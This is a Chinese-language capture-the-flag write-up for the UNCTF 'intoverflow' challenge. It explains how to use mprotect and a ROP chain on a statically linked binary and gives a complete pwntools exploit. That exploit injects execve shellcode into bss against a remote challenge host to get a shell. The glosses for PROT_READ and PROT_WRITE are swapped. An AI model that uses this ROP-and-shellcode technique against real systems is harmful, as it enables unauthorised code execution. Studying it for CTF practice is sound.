UNCTF 练习场 整形溢出 intoverflow Writeup

这道题好像算是静态编译的题目,也就是使用到libc里面的函数都被静态的链接到了程序中,但是没有system函数,而且由于没有libc,所以one_gadget也是难以完成。 我这里使用的办法是,先用

1
int mprotect(const void *start, size_t len, int prot);

来达到修改内存段可读可写可执行目的,这个函数错误的时候返回-1,正确的时候返回0。 在我刚开始使用的时候就一直报错,无法成功的修改,最后发现这个问题在于start传入的地址需要对内存页对齐,常见的也就是0x1000对齐,然后这个len就不用说了,一般申请0x1000就足够了。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  1. PROT_READ(0x1):表示内存段内的内容可写;
  2. PROT_WRITE(0x2):表示内存段内的内容可读;
  3. PROT_EXEC(0x4):表示内存段中的内容可执行;
  4. PROT_NONE(0x0):表示内存段中的内容没有权限。

其对应的值分别如上,所以如果我们需要rwx,那么就是 1 | 2 | 4 = 7,所以我们把prot传入7。 顺便一提:x64传参顺序是,RDI RSI RDX RCX R8 R9,如果这几个还不够就要类似于x86使用堆栈的方法了。 所以在x64中调用函数比x86中稍微复杂一点,需要找到对应的ROP。

1
2
3
ROPgadget --binary intoverflow | grep "pop rdi ; ret"
ROPgadget --binary intoverflow | grep "pop rsi ; ret"
ROPgadget --binary intoverflow | grep "pop rdx ; ret"

可以用这几个命令找到我下面所给出的几个地址。 然后代码中的shellcode好像是目前x64最短的shellcode,效果还不错,没有出锅过。 这道题用**shellcode = asm(shellcraft.sh())**好像不能成功getshell,原因未知。 然后我看各位博客里都是把shellcode写在bss段中,所以我就跟风一下了,估计是因为写在其他地方怕覆盖掉什么有用的东西吧。

最后附上这道题参考的链接:静态链接 + mprotect

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
#r = process('./intoverflow')
elf = ELF('./intoverflow')
r = remote("120.79.17.251", 10012)
r.sendlineafter("> ", str(999999999999999))
#elf.sym['system']
#0x6ca000
pop_rdi_addr = 0x401696
pop_rsi_addr = 0x4017b7
pop_rdx_addr = 0x442e46
mp_addr = 0x6CA000
bss_addr = 0x06CBB60
mprotect_addr = 0x440520
read_addr = 0x43F9D0
payload = 'a' * 0x58 + p64(pop_rdi_addr) + p64(mp_addr) + p64(pop_rsi_addr) + p64(0x2000) + p64(pop_rdx_addr) + p64(7) + p64(mprotect_addr)
payload += p64(pop_rdi_addr) + p64(0)+ p64(pop_rsi_addr) + p64(bss_addr) + p64(pop_rdx_addr) + p64(0x1000) + p64(read_addr) + p64(bss_addr)

#gdb.attach(r)
r.sendlineafter("> ", payload)
sleep(1)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.send(shellcode)
#stdin_addr = u64(r.recv(3).ljust(8, "\x00"))
r.interactive()
0%